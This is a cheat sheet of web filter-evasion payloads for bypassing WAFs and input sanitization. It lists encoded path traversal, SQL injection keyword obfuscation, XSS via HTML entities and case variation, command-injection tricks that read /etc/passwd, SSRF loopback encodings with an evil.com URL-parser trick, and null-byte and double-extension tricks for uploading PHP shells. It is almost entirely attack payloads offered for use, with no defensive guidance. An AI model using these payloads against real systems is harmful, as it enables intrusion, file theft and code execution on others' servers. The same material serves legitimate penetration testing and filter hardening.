

Web Security: Blacklist Evasion & Encoding Cheat Sheet

A quick reference for bypassing filters, WAFs, and input sanitization mechanisms.

1. Quick Reference: Common Restricted Characters

Specific encodings for characters frequently blocked by strict input validators and WAFs.

Character	URL Encode	Double URL Encode	HTML Entity (XSS Context)
"	<code>%22</code>	<code>%2522</code>	<code>&quot;</code> ; OR <code>&#34;</code>
<	<code>%3C</code>	<code>%253C</code>	<code>&lt;</code> ; OR <code>&#60;</code>
>	<code>%3E</code>	<code>%253E</code>	<code>&gt;</code> ; OR <code>&#62;</code>
.	<code>%2E</code>	<code>%252E</code>	<code>&#46;</code>
/	<code>%2F</code>	<code>%252F</code>	<code>&#47;</code>

2. URL & Double URL Encoding

Used to bypass filters that decode input only once before validation, but where the backend application decodes it a second time.

Target Vulnerability	Original Payload	Encoded Payload
Path Traversal	<code>../</code>	<code>%2e%2e%2f</code> (Single) <code>%252e%252e%252f</code> (Double)
XSS (Tags)	<code><script></code>	<code>%3Cscript%3E</code> (Single) <code>%253Cscript%253E</code> (Double)

3. String & Keyword Obfuscation

Used when specific keywords (like `admin`, `script`, `cat`) or quotes are blacklisted.

Technique	Use Case	Payload Example
Hex Encoding	SQL Injection	<code>WHERE username = 0x61646d696e</code> (admin)
CHAR() Function	SQL Injection	<code>WHERE username =</code> <code>CHAR(97,100,109,105,110)</code>
HTML Entities	XSS (Inside Attributes)	<code><img src=x</code> <code>onerror=&#97;&#108;&#101;&#114;&</code> <code>&#116;(1)></code>
Case Variation	XSS / File Upload	<code><ScRiPt></code> or <code>exploit.pHp</code>
Empty Strings / Escapes	Command Injection	<code>c""at /etc/passwd</code> OR <code>c\at /etc/</code> <code>passwd</code>
Inline Subshells	Command Injection	<code>wh\$(echo)oami</code>

4. Space Bypasses

Used when the space character () is stripped or explicitly blocked.

Context	Technique	Payload Example
SQL Injection	Inline Comments	<code>SELECT/**/username/**/FROM/**/users</code>
SQLi / Cmd Inject	Tab Character	<code>SELECT%09username%09FROM%09users</code>
Command Injection	\$IFS Variable	<code>cat\$IFS/etc/passwd</code> (Internal Field Separator)
Command Injection	Brace Expansion	<code>{cat,/etc/passwd}</code>

5. IP Address Encoding (SSRF)

Used to bypass SSRF filters that explicitly blacklist strings like `127.0.0.1` or `localhost`.

Representation	Payload Example	Description
Decimal IP	<code>http://2130706433/admin</code>	Integer representation of 127.0.0.1
Hex IP	<code>http://0x7f000001/admin</code>	Hexadecimal representation of 127.0.0.1
Localhost Alternatives	<code>http://127.1/</code> OR <code>http://0.0.0.0/</code> OR <code>http://[::1]/</code>	Alternate loopback addresses
URL Parser Confusion	<code>http://evil.com:80@127.0.0.1/</code>	Tricks URL parsing libraries

6. File Extension & Null Byte Bypasses

Used to upload executable files (e.g., PHP) when the server relies on weak extension checking.

Technique	Payload Example	Why it works
Null Byte Injection	<code>exploit.php%00.jpg</code>	C/C++ based checks terminate strings at the null byte, while the web engine sees `.php`.
URL-Encoded Dot	<code>exploit%2Ephp</code>	Bypasses filters that check the literal string before URL decoding happens.
Double Extension	<code>exploit.php.jpg</code>	Confuses parsers that validate the last extension but execute based on an earlier one.
Alternative Extensions	<code>shell.php5</code> OR <code>shell.phtml</code>	Apache/Nginx might be configured to execute these as PHP, but the blacklist forgot them.